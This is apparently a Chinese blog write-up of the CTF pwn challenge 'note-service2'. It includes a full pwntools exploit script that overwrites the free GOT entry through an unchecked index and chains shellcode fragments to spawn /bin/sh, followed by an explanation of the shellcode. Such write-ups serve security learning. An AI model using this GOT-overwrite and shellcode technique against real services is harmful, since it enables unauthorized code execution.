note-service2的理解

1.ida分析

 

 发现只有两种功能,一种是创建堆,另一种是free掉堆。

2.通过checksec查看

 

 在看了其他wp后知道了本题的shellcode是利用堆栈执行代码。

3.在参考的其他wp中,其解决脚本是通过改写free的got表来实现

调试版代码:

from pwn import *

elf=ELF('note-service2')

#p=remote('111.200.241.244',62911)

context.update(arch='amd64')

p=process('./note-service2')
gdb.attach(p)

def add(index,content):
  p.sendlineafter('choice>>','1')
  p.sendlineafter('index',str(index))
  p.sendlineafter('size','8')
  p.sendlineafter('content',content)

#free函数传入的地址指向输入的内容
add(0,'/bin/sh')
add((elf.got['free']-0x2020a0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16')
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16')
add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16')
add(3,asm('syscall')+'\x90'*5)

p.sendlineafter('choice','4')
p.sendlineafter('index','0')
p.interactive()

这里为什么创建的第一个堆的输入的是字符串'/bin/sh',是因为free函数的传入参数是堆输入内容的地址。

 

 而且我们的shellcode是这样的。

mov rdi,xxxx;/bin/sh 字符串的地址
mov rax,59;execve 的系统调用号
mov rsi,0;
mov rdx,0
syscall

就通过free函数的调用特性帮我们完成了shellcode的第一步。

posted @ 2021-03-31 15:21  mio_yy  阅读(274)  评论(0)    收藏  举报